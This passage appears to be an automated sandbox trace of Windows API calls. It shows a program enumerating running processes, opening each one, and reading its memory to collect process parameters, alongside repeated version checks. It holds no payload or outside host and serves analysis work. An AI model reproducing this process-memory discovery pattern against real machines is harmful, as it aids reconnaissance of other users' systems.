ReturnLength=0x0) returned 0x0 [0348.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.937] malloc (_Size=0x68) returned 0xeb6230 [0348.937] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6230, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0348.937] free (_Block=0xeb6230) [0348.937] CloseHandle (hObject=0xa9c) returned 1 [0348.937] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0348.938] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0348.938] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.938] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.940] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0348.940] GetLastError () returned 0x0 [0348.940] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.940] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.940] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.940] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.940] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.941] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.941] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.941] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.941] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.941] malloc (_Size=0x6c) returned 0xea8d20 [0348.941] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea8d20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0348.942] free (_Block=0xea8d20) [0348.942] CloseHandle (hObject=0xa9c) returned 1 [0348.942] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0348.943] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0348.943] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.943] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0348.944] CloseHandle (hObject=0x0) returned 0 [0348.944] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0348.945] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0348.945] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.945] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.946] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0348.946] GetLastError () returned 0x0 [0348.946] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.947] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.947] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.948] malloc (_Size=0x8a) returned 0xec7a20 [0348.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7a20, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0348.948] free (_Block=0xec7a20) [0348.948] CloseHandle (hObject=0xa9c) returned 1 [0348.949] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0348.949] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0348.949] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.949] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.950] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0348.950] GetLastError () returned 0x0 [0348.950] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.950] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.951] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.951] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.952] malloc (_Size=0x8a) returned 0xec70c0 [0348.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec70c0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec70c0*, lpNumberOfBytesRead=0x0) returned 1 [0348.953] free (_Block=0xec70c0) [0348.953] CloseHandle (hObject=0xa9c) returned 1 [0348.953] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0348.953] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0348.953] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.953] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0348.967] GetLastError () returned 0x0 [0348.967] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.970] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.971] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.971] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.973] malloc (_Size=0x8a) returned 0xec78e0 [0348.973] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec78e0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec78e0*, lpNumberOfBytesRead=0x0) returned 1 [0348.974] free (_Block=0xec78e0) [0348.975] CloseHandle (hObject=0xa9c) returned 1 [0348.975] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0348.975] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0348.975] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.977] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.977] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0348.977] GetLastError () returned 0x0 [0348.977] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.979] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.979] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.980] malloc (_Size=0x60) returned 0xeb6620 [0348.980] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6620, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0348.980] free (_Block=0xeb6620) [0348.980] CloseHandle (hObject=0xa9c) returned 1 [0348.981] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0348.981] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0348.981] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.981] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.983] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0348.983] GetLastError () returned 0x0 [0348.984] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.985] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.985] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.986] malloc (_Size=0x42) returned 0xea7700 [0348.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea7700, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7700*, lpNumberOfBytesRead=0x0) returned 1 [0348.986] free (_Block=0xea7700) [0348.986] CloseHandle (hObject=0xa9c) returned 1 [0348.988] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0348.988] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0348.988] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.988] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0348.989] GetLastError () returned 0x0 [0348.990] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.992] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.992] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.992] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.992] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.993] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.993] malloc (_Size=0x8a) returned 0xec7a20 [0348.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7a20, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0348.994] free (_Block=0xec7a20) [0348.997] CloseHandle (hObject=0xa9c) returned 1 [0348.997] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0348.997] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0348.997] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.997] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.998] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0348.998] GetLastError () returned 0x0 [0348.998] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.999] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.999] 